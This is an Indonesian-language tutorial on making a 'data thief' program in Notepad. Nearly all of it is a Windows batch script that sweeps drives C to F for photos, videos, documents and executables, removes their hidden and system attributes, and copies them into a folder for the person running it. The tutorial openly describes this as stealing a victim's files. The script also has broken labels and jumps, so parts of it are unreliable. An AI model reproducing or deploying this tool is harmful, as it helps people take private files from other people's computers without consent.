Cara Membuat Program Pencuri Data Dengan Notepad

Cara Membuat Program Pencuri Data Dengan Notepad

 Cara Membuat Program Pencuri Data Dengan Notepad program ini berfungsi untuk mencuri data seperti:

 *.3gp

 *.jpg

 *.avi

 *.wmv

 *.rm

 *.mpg

 *.doc

 *.xlsx
dan lainnya sudah tersedia dalam script berikut, caranya mudah banget 

 1. Buka Notepad kalian melalui accessories atau melalui Run ketikan notepad.

 2. Setelah kebuka notepadnya copy paste script berikut :

Sciptnya

 echo off

 color 0a

 mode 31,15

 if "%1"=="/?" goto Sej

 if not "%n%" == "" set n=

 :MetDtg

 cls

 title Stole V 3.2

 msg * Digunakan untuk mencuri

 msg * File atau data2 korban

 echo.

 echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

 echo ³ Program Aplikasi ³

 echo ³ Stole V 3 .2 ³

 echo ³ Author : sohai ³

 echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

 :awal

 ption

 echo ------EKSTENSI FILE----------

 echo [1] 3gp [4] jpg [7] doc

 echo [2] wmv [5] rm [8] xls

 echo [3] avi [6] mpg [9] Exit

 echo [10] exe

 echo =============================

 echo.

 set/p "pil=Masukan Pilihan: "

 if %pil%=='' goto option

 if %pil%==1 goto 3gp

 if %pil%==2 goto wmv

 if %pil%==3 goto avi

 if %pil%==4 goto jpg

 if %pil%==5 goto rm

 if %pil%==6 goto mpg

 if %pil%==7 goto

 if %pil%==8 goto m

 if %pil%==9 goto keluar

 if %pil%==10 goto exe

 goto option

 :3gp

 Set Maling=%computername%_%random%

 If not exist "%Maling%" Md "%Maling%"

 For %%a in (C D E F) do if exist %%a:\ (

 For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.3gp') do (

 attrib -s -h -r "%%b"

 copy "%%b" "%Maling%" /y)

 )

 echo sudah tidak ditemukan file nyah

 pause >nul

 cls

 goto awal

 goto option

 :goto wmv

 Set Maling=%computername%_%random%

 If not exist "%Maling%" Md "%Maling%"

 For %%a in (C D E F) do if exist %%a:\ (

 For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.wmv') do (

 attrib -s -h -r "%%b"

 copy "%%b" "%Maling%" /y)

 )

 cls

 echo sudah tidak ditemukan file nyah

 pause >nul

 goto option

 :avi

 Set Maling=%computername%_%random%

 If not exist "%Maling%" Md "%Maling%"

 For %%a in (C D E F) do if exist %%a:\ (

 For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.avi') do (

 attrib -s -h -r "%%b"

 copy "%%b" "%Maling%" /y)

 )

 echo sudah tidak ditemukan file nyah

 pause >nul

 cls

 goto option

 :jpg

 Set Maling=%computername%_%random%

 If not exist "%Maling%" Md "%Maling%"

 For %%a in (C D E F) do if exist %%a:\ (

 For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.jpg') do (

 attrib -s -h -r "%%b"

 copy "%%b" "%Maling%" /y)

 )

 echo sudah tidak ditemukan file nyah

 pause >nul

 cls

 goto option

 :rm

 Set Maling=%computername%_%random%

 If not exist "%Maling%" Md "%Maling%"

 For %%a in (C D E F) do if exist %%a:\ (

 For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.rm') do (

 attrib -s -h -r "%%b"

 copy "%%b" "%Maling%" /y)

 )

 echo sudah tidak ditemukan file nyah

 pause >nulcls

 goto option

 :mpg

 Set Maling=%computername%_%random%

 If not exist "%Maling%" Md "%Maling%"

 For %%a in (C D E F) do if exist %%a:\ (

 For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.mpg') do (

 attrib -s -h -r "%%b"

 copy "%%b" "%Maling%" /y)

 )

 echo sudah tidak ditemukan file nyah

 pause >nul

 cls

 goto option

 :doc

 Set Maling=%computername%_%random%

 If not exist "%Maling%" Md "%Maling%"

 For %%a in (C D E F) do if exist %%a:\ (

 For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.doc') do (

 attrib -s -h -r "%%b"

 copy "%%b" "%Maling%" /y)

 )

 echo sudah tidak ditemukan file nyah

 pause >nul

 cls

 goto option

 :xls

 Set Maling=%computername%_%random%

 If not exist "%Maling%" Md "%Maling%"

 For %%a in (C D E F) do if exist %%a:\ (

 For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.xls') do (

 attrib -s -h -r "%%b"

 copy "%%b" "%Maling%" /y)

 )

 echo sudah tidak ditemukan file nyah

 pause >nul

 cls

 goto option

 :exe

 Set Maling=%computername%_%random%

 If not exist "%Maling%" Md "%Maling%"

 For %%a in (C D E F) do if exist %%a:\ (

 For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.exe') do (

 attrib -s -h -r "%%b"

 copy "%%b" "%Maling%" /y)

 )

 echo sudah tidak ditemukan file nyah

 pause >nul

 cls

 :keluar

 msg * data telah ter ambil!!!

 msg * Hayoo !!! Dta kmu tuh apa ya???

 msg * HEhehehehe

 msg * by sohai

 Exit

 3. Kalau Sudah save filenya dengan ekstensi *bat dan Save As Type nya isi dengan All File

     contoh : Curidataorang.bat